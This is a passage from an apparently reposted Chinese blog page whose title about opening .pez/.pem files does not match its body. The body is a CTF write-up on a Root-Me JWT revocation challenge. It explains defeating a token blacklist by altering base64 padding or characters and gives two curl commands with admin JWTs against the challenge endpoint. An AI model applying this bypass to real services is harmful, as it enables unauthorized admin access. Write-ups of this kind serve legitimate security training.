pez文件用什么打开（pem文件用什么打开）

科技前沿 • 2025-04-18 12:30 • 阅读 60
大家好，我是讯享网，很高兴认识大家。
 <p>让我们查看一下源代码&#xff1a;</p> <blockquote> <em>access_token &#61; create_access_token(identity&#61;username,expires_delta&#61;datetime.timedelta(minutes&#61;3))</em> <em>ret &#61; {</em> <em>&#39;access_token&#39;: access_token,</em> <em>}</em> <em>with lock:</em> <em>blacklist.add(access_token)</em> </blockquote> <p>令牌的生命周期为 3 分钟。不管我有多快&#xff0c;提交的toekn请求都是被撤销&#xff0c;令牌一被创建就会被列入黑名单。</p> <p>所以我们需要一个有效的令牌&#xff0c;但不是被列入黑名单。甚至令牌本身也没有列入被黑名单&#xff0c;而jwt的值是 BASE64 表示。</p> <p>根据BASE64 的特性&#xff1a;在某些情况下&#xff0c;BASE64 字符串的末尾可能有一个或两个“&#61;”符号&#xff0c;它们的值是相等的。</p> <p>尝试在令牌中末尾添加&#61;&#xff0c;请求JWT认证&#xff0c;可获得flag</p> <p>curl -H &#34;Authorization: Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg&#61;&#34; http://challenge01.root-me.org/web-serveur/ch63/admin</p> <div style="text-align:center;"> <img alt="" src="https://i-blog.csdnimg.cn/blog_migrate/1c39e397bc0f1eec32f775d21f.png" /> </div> <p>尝试在将token中的下划线_,替换成/&#xff0c;请求JWT认证&#xff0c;也可获得flag</p> <p>curl -H &#34;Authorization: Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTc5NTgsIm5iZiI6MTY2Mjc5Nzk1OCwianRpIjoiMTcwMmJhYzAtMzEwMi00NjAyLTk2YjgtNzU1ODlmMjRjZDg5IiwiZXhwIjoxNjYyNzk4MTM4LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Ln8xsAmrgWVJvxUlLRBZHNILvnYfUN7cXMTf6vk6L/Y&#34; http://challenge01.root-me.org/web-serveur/ch63/admin</p> <div style="text-align:center;"> <img alt="" src="https://i-blog.csdnimg.cn/blog_migrate/4a7cf7a0cc4daa1c2ce4e9fc1.png" /> </div> <h4 style="background-color:transparent;"><strong>0x04  </strong>CTF练习二&#xff1a;ctfhub- jwt</h4>
讯享网
pez文件用什么打开（pem文件用什么打开）

相关推荐
